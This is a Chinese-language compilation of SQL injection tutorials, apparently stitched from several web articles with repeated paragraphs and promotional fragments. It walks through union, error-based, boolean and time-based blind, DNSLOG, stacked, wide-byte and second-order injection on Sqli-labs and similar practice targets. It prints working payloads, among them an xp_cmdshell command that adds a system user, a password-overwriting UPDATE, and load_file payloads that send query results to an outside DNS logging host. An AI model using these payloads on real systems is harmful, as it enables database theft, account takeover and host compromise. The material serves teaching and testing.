QL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全漏洞。 可以用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操作, 甚至有可能獲取數據庫乃至系統用戶最高權限。
而造成SQL注入的原因是因為程序沒有有效過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的SQL查詢代碼, 程序在接收后錯誤的將攻擊者的輸入作為查詢語句的一部分執行,導致原始的查詢邏輯被改變, 額外的執行了攻擊者精心構造的惡意代碼。
很多Web開發者沒有意識到SQL查詢是可以被篡改的,從而把SQL查詢當作可信任的命令。 殊不知,SQL查詢是可以繞開訪問控制,從而繞過身份驗證和權限檢查的。更有甚者,有可能通過SQL查詢去運行主機系統級的命令。
下面將通過一些真實的例子來詳細講解SQL注入的方式。
考慮以下簡單的登錄表單:
<form action="/login" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="登陸" /></p> </form>
我們的處理里面的SQL可能是這樣的:
String username = request.get("username"); String password = request.get("password"); String sql = "SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'";
如果用戶的輸入的用戶名如下,密碼任意:
myuser' or 'foo' = 'foo' --
那么我們的SQL變成了如下所示:
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
在SQL里面–是注釋標記,所以查詢語句會在此中斷。這就讓攻擊者在不知道任何合法用戶名和密碼的情況下成功登錄了。
對于MSSQL還有更加危險的一種SQL注入,就是控制系統, 下面這個可怕的例子將演示如何在某些版本的MSSQL數據庫上執行系統命令:
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" Db.Exec(sql)
如果攻擊提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作為變量 prod的值,那么sql將會變成
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
MSSQL服務器會執行這條SQL語句,包括它后面那個用于向系統添加新用戶的命令。 如果這個程序是以sa運行而 MSSQLSERVER服務又有足夠的權限的話,攻擊者就可以獲得一個系統帳號來訪問主機了。
對其他數據庫也有類似的攻擊。
永遠不要信任外界輸入的數據,特別是來自于用戶的數據,包括選擇框、表單隱藏域和 cookie。 就如上面的第一個例子那樣,就算是正常的查詢也有可能造成災難。
下面這些建議或許對防治SQL注入有一定的幫助:
SQL注入是危害相當大的安全漏洞。所以對于我們平常編寫的Web應用,應該對于每一個小細節都要非常重視。
#34;個性,始于不再與他人相較之時
—卡爾 拉格斐"
01注入基礎概念
SQL是操作數據庫的語言,日常的應用程序與數據庫中進行數據交互是普遍的現象。黑客攻擊滲入系統有種方式叫做SQL注入,從而獲取業務數據,造成用戶數據泄露或者惡意篡改數據、刪除數據等,給企業帶來實質的損失。
使用通俗的語言介紹SQL注入,就是將Web頁面的原URL、表單域或數據包輸入的參數,修改拼接成SQL語句,傳遞給Web服務器,進而傳給數據庫服務器以執行數據庫命令用戶發起請求時,將web頁面中的URL、表單或者參數,進行修改拼裝成SQL語句,傳遞給服務端,服務端把參數傳遞給SQL的執行語句,進行數據庫的操作。
02注入的簡單原理
是的,你沒有看錯,就測試過程中修改入參或者攔截接口請求修改參數。唯一的區別就是入參傳遞的格式有一定的要求。
下圖中的WEB頁面是OWASP靶機的SQL注入界面,頁面功能是輸入用戶的ID,獲取用戶的信息。這個輸入框是個SQL的注入點。
注:查找SQL的注入點可以利用自動探索的工具(如:工具SQLMap)。
關注公眾號,了解如何探查程序中的SQL注入點
ITester測試集中營ITester軟件測試者的集中營,在這里你可以學習行業知識、了解行業動向、獲得簡歷指點、面試、收獲一起成長的小伙伴,每周不定期為大家更新知識、談談工作與生活體會,愛測試歡迎你的加入~30篇原創內容
公眾號
Submit對應的后端邏輯代碼如下:
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";//著重看這行
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
著重看SQL執行的這段代碼和返回前端的代碼,SQL執行的參數是通過前端傳過來的id,id直接拼裝在SQl語句中執行SQL并返回First name和Surname。
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
咱們改造下入參,看看執行的效果,如下圖:
后端的代碼收到參數后,拼接到SQL語句的時候就長這個樣子
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '' or '1=1'";
分析SQL句子 where 條件后面user_id = ' ' or '1=1'。
因為1=1永遠成立,so不管where后面啥條件,where條件都是永久成立。所以SELECT first_name, last_name FROM users WHERE user_id = '' or '1=1'
等價于
SELECT first_name, last_name FROM users
最后執行的結果是查詢出了users表中的所有用戶數據。
結論:這就是SQL注入的基本形式
03注入的危害
1、數據庫信息泄漏,攻擊者未經授權可以訪問數據庫中的數據,盜取用戶的隱私以及個人信息,造成用戶的信息泄露。
2、通過操作數據庫對指定網頁進行篡改;
3、修改數據庫一些字段的值,嵌入木馬鏈接,進行掛馬攻擊
4、攻擊者進而可以對網頁進行篡改,發布一些違法信息等。
5、服務器被遠程控制安裝后門。可以對數據庫進行增加或刪除操作
6、破壞硬盤數據,導致全系統癱瘓;
04如何避免被注入
首先,web前端的輸入框要進行攔截和校驗,如:正則表達式攔截標點、特殊字符等。
再次,server層的攔截和校驗。(如java語言,使用JDBC進行數據操作時,使用PreparedStatement對象執行SQL操作,PreparedStatement對象對特殊字符會進行轉義的操作,避免被注入sql)
之前不了解SQL注入時,認為測試在日常中是不會涉及到安全相關的工作。一直也認為沒啥用,學他干啥。了解原理后,發現sql注入挺有趣的。并沒用到多高端的技術,多牛的軟件進行攻擊破解,簡單的利用代碼編寫的不嚴謹,同時利用SQL語言自有的功能,通過sql拼接的形式進行傳遞,嘗試與數據庫建立連接。只要連接上你的庫,那你就危險了。輕則盜取你點數據,重則給你搞點破壞,讓你無法運營。同時讓我更加全面了解到,接口請求的參數中含有特殊字符,不僅對程序處理有影響,條件允許的情況下也會對數據產生危害。
客觀角度來看,SQL 注入是因為前端輸入控制不嚴格造成的漏洞,使得攻擊者可以輸入對后端數據庫有危害的字符串或符號,使得后端數據庫產生回顯或執行命令,從而實現對于數據庫或系統的入侵;從攻擊者角度來看,需要拼接出可以使后端識別并響應的 SQL 命令,從而實現攻擊
從客觀角度來看,SQL 注入是因為前端輸入控制不嚴格造成的漏洞,使得攻擊者可以輸入對后端數據庫有危害的字符串或符號,使得后端數據庫產生回顯或執行命令,從而實現對于數據庫或系統的入侵;從攻擊者角度來看,需要拼接出可以使后端識別并響應的 SQL 命令,從而實現攻擊
這里僅說明與 SQL 注入相關的術語:
從注入參數類型分:數字型注入、字符型注入
從注入效果分:報錯注入、無顯盲注(布爾盲注、延時盲注)、聯合注入、堆疊注入、寬字節注入、二次注入
從提交方式分:GET注入、POST注入、HTTP頭注入(UA注入、XFF注入)、COOKIE注入
通過學習聯合注入,我們可以習得 SQL 注入的思想和基礎,聯合注入一般分為以下七步:
判斷是否存在注入,若存在,則判斷是字符型還是數字型,簡單來說就是數字型不需要符號包裹,而字符型需要
數字型:select * from table where id =$id
字符型:select * from table where id='$id'
判斷類型一般可以使用 and 型結合永真式和永假式,判斷數字型:
1 and 1=1 #永真式 select * from table where id=1 and 1=1
1 and 1=2 #永假式 select * from table where id=1 and 1=2
#若永假式運行錯誤,則說明此SQL注入為數字型注入
判斷字符型:
1' and '1'='1
1' and '1'='2
#若永假式運行錯誤,則說明此SQL注入為字符型注入
使用order by查詢字段個數,上一步我們已經判斷出了是字符型還是數字型,也就是說我們已經構建出了一個基本的框架(在初學 SQL 注入時 “框架” 的思想十分重要)
這里我們用 Sqli-labs 第一關來詳細解釋一下框架思想,首先使用單引號進行測試,出現 SQL 語句報錯,則此關為字符型注入
之后引出了 SQL 注入的另外一個重要知識點,也就是注釋的使用(可以確認有沒有其他閉合字符),MySQL 提供了以下三種注釋方法:
這里我們使用%23將 SQL 語句后面的單引號注釋掉,也就形成了我們的框架,后面的所有內容都是在框架里進行的,只會對框架做微調
之后我們在框架中使用order by 數字來查詢字段的個數,這里的關鍵是找到臨界值,例如order by 4時候還在報錯,但是order by 3時沒有出現報錯,3 就是這里的臨界值,說明這里存在 3 個字段
使用union select查找顯示位,上一步我們已經知道了字段的具體個數,現在我們要判斷這些字段的哪幾個會在前端顯示出來,這些顯示出來的字段叫做顯示位,我們使用union select 1,2,3.....(字段個數是多少個就寫到幾)來對位置的順序進行判斷(其中數字代表是幾號顯示位)
這里我們需要對框架做一下微調,也就是將 1 改為 -1,這里修改的目的是查詢一個不存在的 id,使得第一句為空,顯示第二句的結果,這里我們可以發現 1 號字段是在前端不顯示的,2 號和 3 號字段在前端顯示,所以是顯示位
使用database()函數爆出庫名,database()函數主要是返回當前(默認)數據庫的名稱,這里我們把它用在哪個顯示位上都可以
基于庫名使用table_name爆出表名,先來介紹一下使用到的函數和數據源:
最終可以構造出 Payload 如下,可以獲取到 emails,referers,uagents,users 四張表
http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
基于表名使用column_name爆出列名,此時數據源為information_schema.columns,位置在table_name='表名'(記得給表名加單引號)
最終構造 Payload 如下,可以獲取到 id,email_id 兩個字段
http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' %23
使用列名爆敏感信息,直接 from 表名即可,這里需要使用group_concat(concat_ws())實現數據的完整讀取,group_concat()函數在前面幾步就接觸過,主要是使數據在一列中輸出
這就帶來了一個問題,如果直接把列放入group_concat()函數,列間的界限就不清晰了,concat_ws()就是為了區分列的界限所使用的,其語法如下:
concat_ws('字符',字段1,字段2,.....)
最終我們便可以構造出獲取數據的 Payload:
http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('-',id,email_id)) from emails %23
報錯注入的本質是使用一些指定的函數制造報錯,從而從報錯信息獲得我們想要的內容,使用前提是后臺沒有屏蔽數據庫的報錯信息,且報錯信息會返回到前端,報錯注入一般在無法確定顯示位的時候使用,我們先來了解一下報錯注入的類型和會用到的函數
updatexml()函數和extractvalue()函數都可以歸類為是 XPath 格式不正確或缺失導致報錯的函數
updatexml()函數本身是改變 XML 文檔中符合條件的值,其語法如下:
updatexml(XML_document,XPath_string,new_value)
語法中使用到以下三個參數
extractvalue()函數本身用于在 XML 文檔中查詢指定字符,語法如下:
extractvalue(XML_document,xpath_string)
語法中使用到以下兩個參數
主鍵報錯注入是由于rand(),count() ,floor()三個函數和一個group by語句聯合使用造成的,缺一不可
rand()函數的基礎語法是這樣的,它的參數被叫做 seed(種子),當種子為空的時候,rand()函數會返回一個[0,1)范圍內的隨機數,當種子為一個數值時,則會返回一個可復現的隨機數序列
rand(seed)
如果還不能理解種子的概念,我來說一個種子在其他領域的應用,我的世界這款游戲大家應該不陌生,在創建世界的時候,可以使用種子來指定固定的世界類型
例如-1834063422這個種子生成的世界一定是包含廢棄村莊的世界
在 Mysql 中也是這樣的,只要輸入種子,一定返回一個可復現的隨機數序列,這里還有一個小細節,種子是只取整數部分的,使用小數點后第一位進行四舍五入取整
使用Select rand(seed) FROM users;查詢語句進行測試,驗證一下上面的結論
至此,我們可以看出,seed()函數存在種子時,是偽隨機的,這里的 “偽” 是有規律的意思,代表計算機產生的數字即是隨機的也是有規律的
floor()函數的作用就是返回小于等于括號內該值的最大整數,也就是取整,它這里的取整不是進行四舍五入,而是直接留下整數位,去掉小數位,如果是負數則整數位需要加一
count()是聚合函數的一種,是 SQL 的基礎函數,除此以外,還有sum()、avg()、min()、max()等聚合函數,語法如下
select count(字段) from 表名; --得到該列值的非空值的行數
select count(*) from 表名; --用于統計整個表的行數
group by語句的用法如下,它用于結合聚合函數,根據一個或多個列對結果集進行分組
group by 列名;
這里舉個例子方便大家理解,創建一個名為users的表,表的構成如下圖
我想知道在所有用戶中,不同等級的各有多少人,我們便可以構造 SQL 語句如下
-- 選擇 "level" 列和行數(由 COUNT(*) 計算)
SELECT level, COUNT(*)
-- 從 "users" 表中選擇數據
FROM users
-- 按 "level" 列的值分組數據
GROUP BY level;
最終查詢出不同等級的用戶分別有多少人
這里我們借這個例子深入一下它的工作原理,group by語句在執行時,會依次查出表中的記錄并創建一個臨時表(這個臨時表是不可見的),group by的對象便是該臨時表的主鍵(level),如果臨時表中已經存在該主鍵,則將值加1,如果不存在,則將該主鍵插入到臨時表中
這里我們逐步模擬臨時表的流程,最終可以發現與我們使用 SQL 語句得出的結果一致
floor()報錯注入是利用下方這個相對固定的語句格式,導致的數據庫報錯
select count(*),(floor(rand(0)*2)) x from users group by x
我們先來分析(floor(rand(0)*2))在 SQL 語句中的含義,我們先來看它的內層rand(0)*2,以 0 為種子使用send()函數生成隨機數序列,并且將數列中的每一項結果乘以 2
再將乘以 2 后的結果放入floor()函數取整,最后得出偽隨機數列如下,因為使用了固定的隨機數種子0,他每次產生的隨機數列的前六位都是相同的0 1 1 0 1 1的順序
這時我們思考一個問題,基于上面group by語句的工作原理,我們可以知道,主鍵重復了就會使count(*)的值加 1,最終只是count(*)的值不同,那為什么說是主鍵重復導致的報錯呢?
其實是這里有一個細節沒有介紹,當group by語句與rand()函數一起使用時,Mysql 會建立一張臨時表,這張臨時表有兩個字段,一個是主鍵,一個是count(*),此時臨時表無任何值,Mysql 先計算group by后面的值,也就是floor()函數(它們之間是以x作為媒介傳遞的),如果此時臨時表中沒有該主鍵,則在插入前rand()函數會再計算一次
上面提到固定序列的第一個值為 0,Mysql 查詢臨時表,發現沒有主鍵為 0 的記錄,因此將此數據插入,這時因為臨時表中沒有該主鍵,Mysql 插入的過程中還會計算一次group by后面的值,也就是floor()函數,但是此時floor()函數的結果為固定序列的第二個值,因此插入的主鍵為1,count(*)也為1
如果以上內容大家有點繞,可以簡單理解為 Mysql 的動作有兩步,第一步是判斷是否存在,第二步是插入數據,每步都需要rand()函數計算一次,并最終通過floor()函數輸出結果(這種情況只在主鍵不存在時發生)
緊接著 Mysql 會繼續查詢下一條數據,若發現重復的主鍵,則count(*)加 1,若沒有找到主鍵,則添加新主鍵,此時遍歷的是users表中的第二行,floor()函數的值是固定數列的第三項為 1,主鍵重復,count(*)加 1
此時我們來到了報錯的關鍵點,此時遍歷users表中的第三行,floor()函數的值是固定數列的第四項為 0,此時不存在該主鍵,則需要進行剛才的兩步走,做判斷用的是固定數列的第四項為 0,插入時應用到固定數列的第五項為 1,此時 1 被當做一個新的主鍵插入到臨時表中,則產生了主鍵重復錯誤
由上面的原理可見,利用floor(rand(0)*2)產生報錯需要數據表里至少存在 3 條記錄,我們可以再極限一點,使用floor(rand(14)*2),即可在存在 2 條記錄的時候使用了
其原理如下,在第二條第二步時再次使用 0 當做主鍵插入導致主鍵重復報錯
MySQL 中的exp()函數用于將 e 提升為指定數字 x 的冪,也就是 $e^{x}$
exp(x)
例如exp(2)就是 $e^{2}$
我們可用利用 Mysql Double 數值范圍有限的特性構造報錯,一旦結果超過范圍,exp()函數就會報錯,這個分界點就是 709,當exp()函數中的數字超過 709 時就會產生報錯
當 MySQL 版本大于 5.5.53 時,exp()函數報錯無法返回查詢結果,只會得到一個報錯,所以在真實環境中使用它做注入局限性還是比較大的,但是可以用判斷是否存在 SQL 注入
MySQL 中的pow()函數用于將 x(基數) 提升為 y(指數) 的冪,也就是 $x^{y}$,語法如下
pow(x,y)
報錯原理和exp()函數一樣,超出了 Mysql Double 數值的范圍,導致報錯
這類報錯因為 Mysql 版本限制導致用的比較少,這里列出來,大家有興趣的話可以做一下深入研究,簡單來說,這類函數報錯的原因是函數對參數要求是形如(1 2,3 3,2 2 1)這樣幾何數據,如果不滿足要求,則會報錯,可以產生報錯的函數如下:
geometrycollection()
multiponint()
polygon()
multipolygon()
linestring()
multilinestring()
無顯注入適用于無法直接從頁面上看到注入語句的執行結果,甚至連注入語句是否執行都無從得知的情況,這種情況我們就要利用一些特性和函數自己創造判斷條件
在介紹布爾盲注的原理前,先來了解一下它用到的函數
布爾(Boolean)是一種數據類型,通常是真和假兩個值,進行布爾盲注入時我們實際上使用的是抽象的布爾概念,即通過頁面返回正常(真)與不正常(假)判斷,這里我們用 Sqli-labs 第八關幫助大家理解它
先添加參數?id=1
先用單引號判斷類型,發現添加單引號后并沒有報錯,但是 You are in... 消失了,這里也就為我們判斷創造了條件,后面我們就需要觀察 You are in... 是否出現,找不同情況
這里我們再添加一個單引號,發現 You are in... 出現,則本關為字符型注入,使用單引號包裹
因為這里只會回顯真或假,無法直接拿到數據庫的名字,但是我們可以降低一點條件,可以先判斷出數據庫名的長度(最長為 30),這里可以先給一個范圍,觀察一下回顯(二分法)
//先猜測數據庫名是否比5長,發現為真
1' and length(database())>5--+
//再判斷數據庫是否比10長,發現為假
1' and length(database())>10--+
//此時數據庫大于5小于等于10,依次嘗試可以發現長度為8
1' and length(database())=8--+
拿到長度后,我們使用substr()函數或mid()函數一位一位的猜測數據庫字符,Mysql 庫名一共可以使用 63 個字符,分別是:a-z、A-Z、0-9、_
這里我們先來判斷第一位是什么字符,這里我們使用 Burp Suite Intruder 模塊快速進行,將字符標記為 Payload 設置字典為 a-z、A-Z、0-9、_,發現 s 和 S 回顯長度與其他字符不同,說明這里第一位是 s ,這里大小寫都有是因為 Mysql在 Windows 下對大小寫不敏感
MySQL 在 Windows 下不區分大小寫,但在 Linux 下默認是區分大小寫,由lower_case_file_system和lower_case_table_names兩個參數控制
這里還可以進階一下,使用集束炸彈模式,將字符位置設置為 Payload 1,字符內容設置為 Payload 2,實現一次爆破出所有字符
我們對一到八位依次判斷后可以發現庫名為 security,這里還可以用ascii()函數和substr()函數嵌套或使用left()函數實現,但都沒有直接用substr()函數 + Intruder 模塊方便,這里就不再贅述
之后我們使用count()函數來判斷表的個數,這里依然可以使用 Intruder 模塊,判斷出有四個表
個數清晰后再來判斷每個表名的長度,這里使用了limit方法,語法如下
limit N,M //從第 N 條記錄開始, 返回 M 條記錄
這里依次判斷表的長度:
第一個表長度為6
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
第二個表長度為8
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
第三個表長度為7
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=7 --+
第四個表長度為5
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 --+
知道每個表的長度后,我們再使用和庫名一樣的方式猜解表名
例如第一個表名稱為 emails
知道表(第四個表,長度為五,是 users)的信息后,我們再來猜列的個數,這里可以看到有三個列
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
再來判斷每個列的長度
第一個列長度為2
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
第二個列長度為8
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
第三個列長度為8
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 2,1))=8 --+
再用同樣的方法猜解列的名字,這里以第二個列為例,列名為 username
下面還是如法炮制,判斷列中有多少數據,我們可以使用count(*)
?id=1' and (select count(*) from users)=13 --+
之后再來判斷每條數據的長度
第一個數據長度為4
?id=1' and length((select username from users limit 0,1))=4 --+
第二個數據長度為8
?id=1' and length((select username from users limit 1,1))=8 --+
第三個數據長度為5
?id=1' and length((select username from users limit 2,1))=5 --+
...
第十三個數據長度為6
?id=1' and length((select username from users limit 12,1))=6 --+
再用同樣的方法猜解數據的內容,這里以第一個數據為例,數據內容為 dumb
至此布爾盲注的原理變得清晰,我們可以用一張導圖來總結
時間盲注可以用在比布爾盲注過濾還要嚴格的環境中,當頁面連真和假這個判斷條件都不提供時,我們便可以讓我們自己創造時間這一條件,當語句被執行時,便會產生延遲,反之則不會,我們先來看一下時間盲注的常用函數
延時盲注的實現本質上就是if()函數嵌套sleep()函數的綜合利用,將sleep()函數作為if()函數的第二個參數,也就是當參數一被成功執行時(結果為 true)對返回結果執行延時,反之則執行參數三的直接回顯
這里我們用 Sqli-labs 第九關幫助大家理解它,先嘗試進行閉合,可以發現無論使用什么符號都是顯示一樣的內容,再使用sleep()函數進行輔助判斷,可以發現當滿足閉合條件時,頁面會延遲回顯
?id=1' and sleep(5) --+ //滿足閉合條件,頁面延遲回顯
?id=1' and sleep(5) //不滿足閉合條件,頁面直接回顯
我們可以使用瀏覽器的【網絡】功能進行更直觀的判斷,當我們不滿足閉合條件時,延遲為 108 毫秒
當滿足閉合條件時,可以看到延遲增加了五秒
先獲取一下庫長度,當長度為 8 時,會延遲 5 秒執行,所以可以確定庫長度為 8
?id=1' and if(length(database())=8,sleep(5),1)--+
下面再來判斷庫名,為了方便觀察將延時時間調為 15 秒,這步如果手工測試效率會非常低,我們依然是使用 Intruder 模塊
?id=1' and if(substr(database(),1,1)='a',sleep(15),1)--+
這里爆破后我們點擊最上方的列(Columns)功能,增加一個響應完成時間的維度,時間長的便是正確的字符,表名、字段名、數據內容猜解原理與表名相同,這里就不再贅述
DNSLOG 是存儲在 DNS 服務器上的域名信息,它記錄著用戶對域名的訪問信息,類似日志文件。像是 SQL 盲注、命令執行、SSRF 及 XSS 等攻擊但無法看到回顯結果時,就會用到 DNSLOG 技術,相比布爾盲注和時間盲注,DNSLOG 減少了發送的請求數,可以直接回顯,也就降低了被安全設備攔截的可能性
DNSLOG 注入優點眾多,但利用條件也較為嚴苛
UNC 全稱 Universal Naming Convention,譯為通用命名規范,例如我們在使用虛擬機的共享文件功能時,便會使用到 UNC 這一特性
UNC 路徑的格式如下:
\\192.168.0.1\test\
這里我們使用運行使用 UNC 路徑訪問www.dnslog.cn,并使用 wireshark 抓包,可以看到確實存在對www.dnslog.cn這個域名進行 DNS 請求的流量,但是并不會在瀏覽器直接打開網站
上文我們提到,load_file()函數可以讀取任意盤的文件才可以使用 DNSLOG 注入,它的讀取范圍由 Mysql 配置文件my.ini中的secure_file_priv參數決定
先給出最常用的兩種 Payload
Payload 1:
and if((select load_file(concat('//',(select 攻擊語句),'.xxxx.ceye.io/sql_test'))),1,0)
Payload 2:
and if((select load_file(concat('\\\\',(select 攻擊語句),'.xxxx.ceye.io\\sql_test'))),1,0)
Payload 1,2 大體的思路都是一樣的,也就是在if()函數中嵌套load_file()函數再使用 UNC 路徑進行讀取,sql_test這里寫什么都可以,只是為了符合load_file()函數格式,讀取時會產生 DNS 訪問信息,唯一的不同點在于 Payload 2 在 URL 中使用\(反斜杠)時要雙寫配合轉義
轉義:轉義是一種引用單個字符的方法. 一個前面放上轉義符 ()的字符就是告訴 shell 這個字符按照字面的意思進行解釋
這里使用 Pikachu 靶場的時間盲注關卡進行演示,方便大家進行理解,在測試前一定先要確保secure_file_priv選項為空,可以使用show variables like '%secure%';進行查詢
在修改my.ini文件時需要注意secure_file_priv選項是新增的,本身并沒有這個選項
通過判斷可以發現是單引號閉合,先爆出庫名,可以通過 DNSLOG 平臺看到庫名為 pikachu
這里還可以使用hex()函數,將回顯內容編碼為十六進制,這樣做的好處是,假設回顯內容存在特殊字符!@#$%^&,包含特殊字符的域名無法被解析,DNSLOG也就無法記錄信息,進行編碼后就不存在這個問題
后面整體的思路和聯合查詢基本一致,只是利用 DNSLOG 創造了回顯的條件,這里不再贅述
堆疊注入的基本原理是在一條 SQL 語句結束后(通常使用分號;標記結束),繼續構造并執行下一條SQL語句,這種注入方法可以執行任意類型的語句,包括查詢、插入、更新和刪除等等
與聯合注入相比,堆疊注入最明顯的差別便是它的權限更大了,例如使用聯合注入時,后端使用的是 select 語句,那么我們注入時也只能執行 select 操作,而堆疊查詢是一條新的 SQL 語句,不受上一句的語法限制,操作的權限也就更大了
但相應的,堆疊注入的利用條件變得更加嚴格,例如在 Mysql 中,需要使用mysqli_multi_query()函數才可以進行多條 SQL 語句同時執行,同時還需要網站對堆疊注入無過濾,因此在實戰中堆疊注入還是較為少見的
下面我們用 Sqli-labs 第 38 關進行一下演示方便大家理解,先使用聯合注入判斷出列名有 id、username、password 三項,然后我們使用堆疊注入修改 admin 的密碼(原密碼為 admin),使用 update 方法構造 Payload 如下
?id=1';update users set password='test123456' where username='admin';--+
再次查看數據庫發現 admin 密碼已被改為 test123456
當某字符的大小為一個字節時,稱其字符為窄字節,當某字符的大小為兩個或更多字節時,稱其字符為寬字節,而且不同的字符編碼方式和字符集對字符的大小有不同的影響
例如,在 ASCII 碼中,一個英文字母(不分大小寫)為一個字節,一個中文漢字為兩個字節;在 UTF-8 編碼中,一個英文字為一個字節,一個中文為三個字節;在 Unicode 編碼中,一個英文為一個字節,一個中文為兩個字節
寬字節注入的本質是開發者設置數據庫編碼與 PHP 編碼為不同的編碼格式從而導致產生寬字節注入,例如當 Mysql 數據庫使用 GBK 編碼時,它會把兩個字節的字符解析為一個漢字,而不是兩個英文字符,這樣,如果我們輸入一些特殊的字符,就會形成 SQL 注入
為了防止 SQL 注入,通常會使用一些 PHP 函數,如addslashes()函數,來對特殊字符進行轉義(我們之前說過,轉義就是在字符前加一個\),反斜杠用 URL 編碼表示是%5c,所以如果我們輸入單引號’,它會變成%5c%27,這樣我們就無法閉合 SQL 語句了
但是,如果我們輸入%df’,它會變成%df%5c%27,這里,%df%5c是一個寬字節的GBK編碼,它表示一個繁體字“運”
因為 GBK 編碼的第一個字節的范圍是 129-254,而%df的十進制是 223,所以它屬于 GBK 編碼的第一個字節,而%5c的十進制是 92,它屬于 GBK 編碼的第二個字節的范圍 64-254,所以,%df%5c被數據庫解析為一個漢字,而不是兩個英文字符
這里我們用 Sqli-Labs 第 32 關進行演示方便大家理解,標題為 Bypass addslashes(),也就是說使用了addslashes()函數,先使用單引號判斷閉合,發現單引號被轉義
這里我們白盒審計發現編碼類型為 GBK
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
固采用寬字節繞過,構造 Payload 如下
這里后面再加一個單引號也無法閉合,因為會再次觸發轉義機制,這里直接注釋掉后面的內容即可,至此框架已經形成,后面基本思想與聯合注入一致,這里就不再贅述
二次注入和上述的注入方式相比技術含量沒有這么高,主要是在于對于注入點的運用,需要運用兩個及以上的注入點進行攻擊
這里假設有 A 和 B 兩個注入點,A 注入點因為存在過濾處理所以無法直接進行注入,但是會將我們輸入的數據以原本的形式儲存在數據庫中(存入數據庫時被還原了),在此情況下,我們找到注入點 B,使得后端調用存儲在數據庫中的惡意數據并執行 SQL 查詢,完成二次注入
這也就引出了二次注入的兩個步驟
這里我們用 Sqli-Labs 第 24 關進行演示方便大家理解,打開靶場可以看到是一個登錄/注冊頁面
這里我們先對注冊頁面進行白盒審計,發現使用mysql_escape_string()函數進行轉義
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
我們先來注冊一個 test 賬號看一下業務邏輯,發現登入后臺后可以修改密碼,再來白盒看一下修改密碼的 SQL 語句
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
固我們可以在用戶名處構造 Payload 為test'#,提前閉合 username 參數,便有了覆蓋其他賬戶密碼的可能性,$curr_pass變量是原密碼,所以這里被注釋不影響密碼的修改,反而去除了原密碼的校驗
UPDATE users SET PASSWORD='$pass' where username='test'#' and password='$curr_pass'
這里我們嘗試修改 admin 的密碼,改為 abc123,先注冊 admin'#,再使用修改密碼功能修改它的密碼,因為此時 SQL 語句被提前閉合,所以實際上修改的是 admin 的密碼
原文鏈接:https://forum.butian.net/share/2768
感覺385大佬的分享
*請認真填寫需求信息,我們會在24小時內與您取得聯系。